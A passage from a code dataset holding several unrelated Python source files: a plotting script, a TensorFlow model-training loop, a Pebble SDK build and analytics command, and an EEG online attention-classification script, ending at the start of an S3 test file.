sorted(zip(beforeAngles,maxAfterAngles))]\n minAfterAngles = [x for _,x in sorted(zip(beforeAngles,minAfterAngles))]\n beforeAngles = sorted(beforeAngles)\n \n plt.plot(afterAngles,\"bo\", alpha=0.25, markerSize=2, label= \"afterPoints\") \n plt.plot(afterAngles, alpha=0.25, label= \"afterLines\")\n plt.plot(maxAfterAngles, alpha=0.7, label= \"maxafter\") \n plt.plot(minAfterAngles, alpha=0.7, label= \"minafter\") \n plt.plot(beforeAngles, alpha=0.7, label=\"before\")\n ymin,ymax = plt.ylim()\n #plt.ylim(ymax = ymax + )\n #plt.yticks(np.arange(ymin, ymax, 15))\n plt.ylabel(\"angle\")\n plt.xticks(np.arange(0, individuals, individuals +1))\n plt.legend(loc='upper left') \n plt.show()\n\n\nindividuals = 1000\ne = 0.5\nk = printKValues(e,individuals)\nprint(k)\nprintE(individuals,1000,k, 0.9, e)\n\n", "sub_path": "build/angleDifferenceCalculationPlot.py", "file_name": "angleDifferenceCalculationPlot.py", "file_ext": "py", "file_size_in_byte": 2317, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "math.log", "line_number": 12, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 38, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 40, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 41, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 42, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 44, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 45, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}]} {"seq_id": "568581116", "text": "import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport DataPipeline\nimport model_manager\nimport pandas as pd\nimport os\nimport time\nfrom numba import cuda\n\nfrom numpy import mean\nfrom datetime import datetime\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import LeaveOneOut\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import StratifiedKFold\n\n\ncuda_device = cuda.get_current_device\ncuda_device.reset()\n\ndevice = tf.config.experimental.list_physical_devices(\"GPU\")\ntf.config.experimental.set_memory_growth(device[0], enable=True)\n\nexceptions_num = 0\nfor attempt in range(10):\n try:\n\n models_to_train = [\n \"alexnet\",\n \"vgg16\",\n \"vgg19\"\n \"efficientnet_b0\",\n \"efficientnet_b1\",\n \"efficientnet_b2\",\n \"efficientnet_b3\",\n \"efficientnet_b4\",\n \"efficientnet_b5\",\n \"efficientnet_b6\",\n \"efficientnet_b7\",\n \"efficientdet_d0\",\n \"inception_resnet_v2\",\n \"inception\",\n \"mobilenet_v3_small\",\n \"mobilenet_v3_large\"\n \"resnet50_v2\",\n \"resnet101_v2\",\n \"resnet152_v2\",\n \"gcnn\",\n \"xception\"\n ]\n\n def get_model(model_name):\n return model_manager.create_vvg16(model_name)\n\n def plot_history(history):\n hist = pd.DataFrame(history.history)\n hist[\"epoch\"] = history.epoch\n\n plt.figure()\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Mean absolute error\")\n plt.plot(hist[\"epoch\"], hist[\"mae\"], label=\"Training ERror\")\n plt.plot(hist[\"epoch\"], hist[\"val_mae\"], label=\"Validation error\")\n plt.ylim([0,5])\n plt.legend()\n\n plt.figure()\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Mean squared error\")\n plt.plot(hist[\"epoch\"], hist[\"mse\"], label=\"Training error\")\n plt.plot(hist[\"epoch\"], hist[\"val_mse\"], label=\"Validation error\")\n plt.ylim(0,20)\n plt.legend()\n plt.show()\n\n\n\n dataset = DataPipeline.get_dataset()\n train_size = round(0.7 * len(dataset))\n train = dataset.take(train_size)\n test = dataset.skip(train_size)\n\n\n training_model = \"\"\n model = get_model(training_model)\n\n run_id = datetime.now().strftime(\"VGG %Y_%m_%d T %H-%M-%S\")\n os.chdir(\"...\")\n logdir = os.getcwd() + \"//\" + run_id\n os.mkdir(logdir)\n logdir = logdir + '//'\n\n # Label log file\n h = open(logdir+'out.txt', 'a')\n h.write('lr,drop,drop2,loss1,loss2,batch size,min loss\\n')\n h.close()\n\n # Early Stopping\n callback1 = tf.keras.callbacks.EarlyStopping(\n monitor=\"val_loss\",\n min_delta=0.01,\n patience=20,\n mode=\"min\",\n restore_best_weights=True\n )\n\n # Uses Tensorboard to monitor training\n callback2 = tf.keras.callbacks.TensorBoard(\n log_dir=logdir,\n histogram_freq=1,\n write_graph=True,\n write_images=True\n )\n\n # Checkpoint\n # checkpoint_path =\"training\\\\cp.ckpt\"\n checkpoint_path = os.path.join(\"training, cp.ckpt\")\n checkpoint_dir = os.path.dirname(checkpoint_path)\n\n callback3 = tf.keras.callbacks.ModelCheckpoint(\n filepath=checkpoint_path,\n monitor=\"val_loss\",\n verbose=1,\n save_weights_only=True,\n save_best_only=True,\n mode=\"max\"\n )\n\n model.compile(tf.keras.optimizers.Adam(lr=0.001, amsgrad=True,), tf.keras.losses.MeanSquaredError(), [\"mae\", \"accuracy\"])\n\n history = model.fit(train, validation_split=0.2, callbacks=[callback1, callback2], epochs=200, verbose=2)\n\n # Evaluate model on test set\n print(\"Evaluate\")\n result = model.evaluate(test)\n result_dict = dict(zip(model.metrics, result))\n\n with open(\"testing_result.txt\", \"w\") as f:\n for key, value in result_dict.items():\n f.write(f\"{key} = {value}\\n\")\n \n model.save(training_model + \"_\" + run_id + \".h5\")\n\n except Exception:\n exceptions_num += 1\n print(f\"Caught exception number {exceptions_num}!\")\n time.sleep(10)\n else:\n break", "sub_path": "Order66.py", "file_name": "Order66.py", "file_ext": "py", "file_size_in_byte": 4541, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numba.cuda.get_current_device", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numba.cuda", "line_number": 21, "usage_type": "name"}, {"api_name": "tensorflow.config.experimental.list_physical_devices", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow.config.experimental.set_memory_growth", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 25, "usage_type": "attribute"}, {"api_name": "model_manager.create_vvg16", "line_number": 56, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "DataPipeline.get_dataset", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 91, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 92, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.EarlyStopping", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 102, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks.TensorBoard", "line_number": 111, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks.ModelCheckpoint", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 132, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.losses.MeanSquaredError", "line_number": 132, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 150, "usage_type": "call"}]} {"seq_id": "281358123", "text": "import logging\nimport sh, os, subprocess\nimport json\nimport StringIO\nimport traceback\nimport sys\n\nimport PblAnalytics\nfrom PblCommand import PblCommand\nfrom PblProjectCreator import requires_project_dir\nfrom LibPebblesCommand import (NoCompilerException, BuildErrorException,\n AppTooBigException)\n\n\n\n########################################################################\ndef create_sh_cmd_obj(cmdPath):\n \"\"\" Create a sh.Command() instance and check for error condition of\n the executable not in the path. \n \n If the argument to sh.Command can not be found in the path, then \n executing it raises a very obscure exception:\n 'TypeError: sequence item 0: expected string, NoneType found'\n \n This method raise a more description exception. \n \n NOTE: If you use the sh.(cmdargs) syntax for calling\n a command instead of sh.Command(), the sh module returns a \n more descriptive sh.CommandNotFound exception. But, if the cmdname \n includes a directory path in it, you must use this sh.Command()\n syntax. \n \"\"\"\n \n cmdObj = sh.Command(cmdPath)\n \n # By checking the _path member of the cmdObj, we can do a pre-flight to \n # detect this situation and raise a more friendly error message\n if cmdObj._path is None:\n raise RuntimeError(\"The executable %s could not be \"\n \"found. \" % (cmdPath))\n \n return cmdObj\n \n\n###############################################################################\n###############################################################################\nclass PblWafCommand(PblCommand):\n \"\"\" Helper class for build commands that execute waf \"\"\"\n\n waf_cmds = \"\"\n\n ###########################################################################\n def waf_path(self, args):\n path = os.path.join(self.sdk_path(args), 'Pebble', 'waf')\n if not os.path.exists(path):\n raise Exception(\"Unable to locate waf at '{}'\".format(path))\n return path\n \n \n ###########################################################################\n def _send_memory_usage(self, args, appInfo, platform):\n \"\"\" Send app memory usage to analytics \n \n Parameters:\n --------------------------------------------------------------------\n args: the args passed to the run() method\n appInfo: the applications appInfo\n \"\"\"\n\n cmdName = 'arm-none-eabi-size'\n cmdArgs = [os.path.join(\"build\", platform, \"pebble-app.elf\")]\n try:\n output = sh.arm_none_eabi_size(*cmdArgs, _tty_out=False)\n (textSize, dataSize, bssSize) = [int(x) for x in \\\n output.stdout.splitlines()[1].split()[:3]]\n sizeDict = {'text': textSize, 'data': dataSize, 'bss': bssSize}\n PblAnalytics.code_size_evt(uuid=appInfo[\"uuid\"], \n segSizes = sizeDict)\n except sh.ErrorReturnCode as e:\n logging.error(\"command %s %s failed. stdout: %s, stderr: %s\" %\n (cmdName, ' '.join(cmdArgs), e.stdout, e.stderr))\n except sh.CommandNotFound as e:\n logging.error(\"The command %s could not be found. Could not \"\n \"collect memory usage analytics.\" % (e.message))\n\n\n ###########################################################################\n def _count_lines(self, path, exts):\n \"\"\" Count number of lines of source code in the given path. This will\n recurse into subdirectories as well. \n \n Parameters:\n --------------------------------------------------------------------\n path: directory name to search\n exts: list of extensions to include in the search, i.e. ['.c', '.h']\n \"\"\"\n \n srcLines = 0\n files = os.listdir(path)\n for name in files:\n if name.startswith('.'):\n continue\n if os.path.isdir(os.path.join(path, name)):\n if not os.path.islink(os.path.join(path, name)):\n srcLines += self._count_lines(os.path.join(path, name), exts)\n continue\n ext = os.path.splitext(name)[1]\n if ext in exts:\n srcLines += sum(1 for line in open(os.path.join(path, name)))\n return srcLines\n \n\n ###########################################################################\n def _send_line_counts(self, args, appInfo):\n \"\"\" Send app line counts up to analytics \n \n Parameters:\n --------------------------------------------------------------------\n args: the args passed to the run() method\n appInfo: the applications appInfo\n \"\"\"\n \n c_line_count = 0\n js_line_count = 0\n if os.path.exists('src'):\n c_line_count += self._count_lines('src', ['.h', '.c'])\n js_line_count += self._count_lines('src', ['.js'])\n\n PblAnalytics.code_line_count_evt(uuid=appInfo[\"uuid\"], \n c_line_count = c_line_count,\n js_line_count = js_line_count)\n\n\n ###########################################################################\n def _send_resource_usage(self, args, appInfo):\n \"\"\" Send app resource usage up to analytics \n \n Parameters:\n --------------------------------------------------------------------\n args: the args passed to the run() method\n appInfo: the applications appInfo\n \"\"\"\n \n # Collect the number and total size of each class of resource:\n resCounts = {\"raw\": 0, \"image\": 0, \"font\": 0}\n resSizes = {\"raw\": 0, \"image\": 0, \"font\": 0}\n \n for resDict in appInfo[\"resources\"][\"media\"]:\n if resDict[\"type\"] in [\"png\", \"png-trans\"]:\n type = \"image\"\n elif resDict[\"type\"] in [\"font\"]: \n type = \"font\"\n elif resDict[\"type\"] in [\"raw\"]:\n type = \"raw\"\n else:\n raise RuntimeError(\"Unsupported resource type %s\" % \n (resDict[\"type\"]))\n\n # Look for the generated blob in the build/resource directory.\n # As far as we can tell, the generated blob always starts with\n # the original filename and adds an extension to it, or (for\n # fonts), a name and extension. \n (dirName, fileName) = os.path.split(resDict[\"file\"])\n dirToSearch = os.path.join(\"build\", \"resources\", dirName)\n found = False\n for name in os.listdir(dirToSearch):\n if (type == \"raw\" and name == fileName) \\\n or (type != 'raw' and name.startswith(fileName) \n and name != fileName):\n size = os.path.getsize(os.path.join(dirToSearch, name))\n found = True\n break\n if not found:\n raise RuntimeError(\"Could not find generated resource \"\n \"corresponding to %s.\" % (resDict[\"file\"]))\n \n resCounts[type] += 1\n resSizes[type] += size\n \n # Send the stats now\n PblAnalytics.res_sizes_evt(uuid=appInfo[\"uuid\"],\n resCounts = resCounts,\n resSizes = resSizes)\n \n\n ###########################################################################\n @requires_project_dir\n def run(self, args):\n self.add_arm_tools_to_path(args)\n \n # If python3 is the default and python2 is available, then plug in\n # our stub 'python' shell script which passes control to python2\n py_version = sh.python(\"-c\", \n \"import sys;print(sys.version_info[0])\",\n _tty_out=False).strip()\n if py_version != '2':\n if sh.which('python2', _tty_out=False) is None:\n raise RuntimeError(\"The Pebble SDK requires python version 2.6 \"\n \"or 2.7 (python2). You are currently running 'python%s' \"\n \"by default and a 'python2' executable could not be found.\" % \n py_version)\n os.environ['PATH'] = \"{}:{}\".format(\n os.path.join(os.path.normpath(os.path.dirname(__file__))),\n os.environ['PATH'])\n \n # Execute the build command\n cmdLine = '\"%s\" %s' % (self.waf_path(args), self.waf_cmds)\n retval = subprocess.call(cmdLine, shell=True)\n \n # If an error occurred, we need to do some sleuthing to determine a\n # cause. This allows the caller to post more useful information to\n # analytics. We normally don't capture stdout and stderr using Poepn()\n # because you lose the nice color coding produced when the command\n # outputs to a terminal directly.\n #\n # But, if an error occurs, let's run it again capturing the output\n # so we can determine the cause\n if (retval):\n cmdArgs = [self.waf_path(args)] + self.waf_cmds.split()\n try:\n cmdObj = create_sh_cmd_obj(cmdArgs[0])\n output = cmdObj(*cmdArgs[1:])\n stderr = output.stderr\n except sh.ErrorReturnCode as e:\n stderr = e.stderr \n \n # Look for common problems\n if \"Could not determine the compiler version\" in stderr:\n raise NoCompilerException\n \n elif \"region `APP' overflowed\" in stderr:\n raise AppTooBigException\n \n else:\n raise BuildErrorException\n \n elif args.command == 'build':\n # No error building. Send up app memory usage and resource usage\n # up to analytics\n # Read in the appinfo.json to get the list of resources\n try:\n appInfo = json.load(open(\"appinfo.json\"))\n #self._send_memory_usage(args, appInfo, p)\n #self._send_resource_usage(args, appInfo)\n self._send_line_counts(args, appInfo)\n hasJS = os.path.exists(os.path.join('src', 'js'))\n PblAnalytics.code_has_java_script_evt(uuid=appInfo[\"uuid\"],\n hasJS=hasJS)\n except Exception as e:\n logging.error(\"Exception occurred collecting app analytics: \"\n \"%s\" % str(e))\n logging.debug(traceback.format_exc())\n \n return 0\n\n ###########################################################################\n def configure_subparser(self, parser):\n PblCommand.configure_subparser(self, parser)\n\n\n###########################################################################\n###########################################################################\nclass PblBuildCommand(PblWafCommand):\n name = 'build'\n help = 'Build your Pebble project'\n waf_cmds = 'configure build'\n\n###########################################################################\n###########################################################################\nclass PblCleanCommand(PblWafCommand):\n name = 'clean'\n help = 'Clean your Pebble project'\n waf_cmds = 'distclean'\n\n\nclass PblAnalyzeSizeCommand(PblCommand):\n name = 'analyze-size'\n help = 'Analyze the size of your Pebble app'\n\n def configure_subparser(self, parser):\n PblCommand.configure_subparser(self, parser)\n parser.add_argument('elf_path', type=str, nargs='?', default='build/pebble-app.elf',\n help='Path to the elf file to analyze')\n parser.add_argument('--summary', action='store_true', help='Display a single line per section')\n parser.add_argument('--verbose', action='store_true', help='Display a per-symbol breakdown')\n\n @requires_project_dir\n def run(self, args):\n sys.path.append(os.path.join(self.sdk_path(args), 'Pebble', 'tools'))\n self.add_arm_tools_to_path(args)\n\n import binutils\n\n sections = binutils.analyze_elf(args.elf_path, 'bdt', use_fast_nm=True)\n\n for s in sections.itervalues():\n s.pprint(args.summary, args.verbose)\n\n\n", "sub_path": "pebble-dev/PebbleSDK-3.0-dp8/tools/pebble/PblBuildCommand.py", "file_name": "PblBuildCommand.py", "file_ext": "py", "file_size_in_byte": 12431, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sh.Command", "line_number": 34, "usage_type": "call"}, {"api_name": "PblCommand.PblCommand", "line_number": 47, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "sh.arm_none_eabi_size", "line_number": 73, "usage_type": "call"}, {"api_name": "PblAnalytics.code_size_evt", "line_number": 77, "usage_type": "call"}, {"api_name": "sh.ErrorReturnCode", "line_number": 79, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 80, "usage_type": "call"}, {"api_name": "sh.CommandNotFound", "line_number": 82, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 83, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.islink", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "PblAnalytics.code_line_count_evt", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 170, "usage_type": "call"}, {"api_name": "PblAnalytics.res_sizes_evt", "line_number": 181, "usage_type": "call"}, {"api_name": "sh.python", "line_number": 193, "usage_type": "call"}, {"api_name": "sh.which", "line_number": 197, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 202, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 203, "usage_type": "call"}, {"api_name": "os.path", "line_number": 203, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 203, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 203, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 204, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 208, "usage_type": "call"}, {"api_name": "sh.ErrorReturnCode", "line_number": 224, "usage_type": "attribute"}, {"api_name": "LibPebblesCommand.NoCompilerException", "line_number": 229, "usage_type": "name"}, {"api_name": "LibPebblesCommand.AppTooBigException", "line_number": 232, "usage_type": "name"}, {"api_name": "LibPebblesCommand.BuildErrorException", "line_number": 235, "usage_type": "name"}, {"api_name": "json.load", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 246, "usage_type": "call"}, {"api_name": "os.path", "line_number": 246, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 246, "usage_type": "call"}, {"api_name": "PblAnalytics.code_has_java_script_evt", "line_number": 247, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 250, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 252, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 252, "usage_type": "call"}, {"api_name": "PblProjectCreator.requires_project_dir", "line_number": 187, "usage_type": "name"}, {"api_name": "PblCommand.PblCommand.configure_subparser", "line_number": 258, "usage_type": "call"}, {"api_name": "PblCommand.PblCommand", "line_number": 258, "usage_type": "name"}, {"api_name": "PblCommand.PblCommand", "line_number": 276, "usage_type": "name"}, {"api_name": "PblCommand.PblCommand.configure_subparser", "line_number": 281, "usage_type": "call"}, {"api_name": "PblCommand.PblCommand", "line_number": 281, "usage_type": "name"}, {"api_name": "sys.path.append", "line_number": 289, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 289, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 289, "usage_type": "call"}, {"api_name": "os.path", "line_number": 289, "usage_type": "attribute"}, {"api_name": "binutils.analyze_elf", "line_number": 294, "usage_type": "call"}, {"api_name": "PblProjectCreator.requires_project_dir", "line_number": 287, "usage_type": "name"}]} {"seq_id": "571249844", "text": "import scipy.io\nimport time\nimport numpy as np\nfrom OnlineAttention.get_data import ActiveTwo\nfrom braindecode.datautil.signalproc import highpass_cnt, bandpass_cnt, exponential_running_demean, \\\n exponential_running_standardize\n# from braindecode.datautil import exponential_moving_demean,exponential_moving_standardize\nfrom OnlineAttention.ACNN import ACNN\n\n\ndef loaddata_online():\n host = '10.127.0.1'\n sfreq = 1024\n port = 1111\n channle_num = 65\n duration = 1\n\n def dim22dim3(dim2_data):\n l = 128\n time_len = dim2_data.shape[1] // l\n dim3_data = np.zeros((time_len, 64, l)).astype(np.float32)\n for i in range(time_len):\n dim3_data[i] = dim2_data[:, l * i:l + l * i]\n return dim3_data\n\n active_two = ActiveTwo(host=host, sfreq=sfreq, port=port, nchannels=channle_num)\n raw_data = active_two.read(duration=duration)\n data = raw_data[0:64, :]\n # np.save('data', np.array(data))\n l = data.shape[1]\n tmp = data[:, range(0, l, 8)]\n tmp = exponential_running_demean(tmp)\n tmp = exponential_running_standardize(tmp)\n # tmp=exponential_moving_demean(tmp)\n # tmp=exponential_moving_standardize(tmp)\n tmp = bandpass_cnt(tmp, 0.1, 40, 128, filt_order=3, axis=1)\n data = dim22dim3(tmp)\n # data = np.reshape(data, (data.shape[0], 1, data.shape[1], data.shape[2]))\n data = np.reshape(data, (1, data.shape[0], data.shape[1], data.shape[2]))\n # data_loader = DataLoader(data, batch_size=1)\n return data\n\n\n\nif __name__ == '__main__':\n subject = 'zhaozhuren'\n model = ACNN(nb_classes=3, Chans=64, Samples=128,\n dropoutRate=0.5)\n model_name = \"AeentionNet\"\n filepath = '/tmp/DeepConvnetV1_checkPoints/' + subject + '/checkpoint.h5'\n # load optimal weights\n model.load_weights(filepath=filepath)\n\n print('----------开始在线预测-------------')\n while True:\n # load test data\n test_data = loaddata_online()\n print(test_data.shape)\n\n probs = model.predict(test_data)\n preds = probs.argmax(axis=-1)\n print(\"preds:\", preds)\n if preds == 2:\n print(\"medium attention\")\n elif preds == 1:\n print(\"low attention\")\n else:\n print(\"high attention\")\n", "sub_path": "OnlineAttention/get_DataOnline.py", "file_name": "get_DataOnline.py", "file_ext": "py", "file_size_in_byte": 2276, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.zeros", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 21, "usage_type": "attribute"}, {"api_name": "OnlineAttention.get_data.ActiveTwo", "line_number": 26, "usage_type": "call"}, {"api_name": "braindecode.datautil.signalproc.exponential_running_demean", "line_number": 32, "usage_type": "call"}, {"api_name": "braindecode.datautil.signalproc.exponential_running_standardize", "line_number": 33, "usage_type": "call"}, {"api_name": "braindecode.datautil.signalproc.bandpass_cnt", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 39, "usage_type": "call"}, {"api_name": "OnlineAttention.ACNN.ACNN", "line_number": 47, "usage_type": "call"}]} {"seq_id": "573824065", "text": "import boto3\nfrom botocore.client import ClientError\n\nfrom moto.s3.responses import DEFAULT_REGION_NAME\nimport pytest\n\nimport sure # noqa # pylint: disable=unused-import\n\nfrom moto import mock_s3, mock_kms\n\n\n@pytest.mark.parametrize(\n \"key_name\",\n [\n \"the-key\",\n 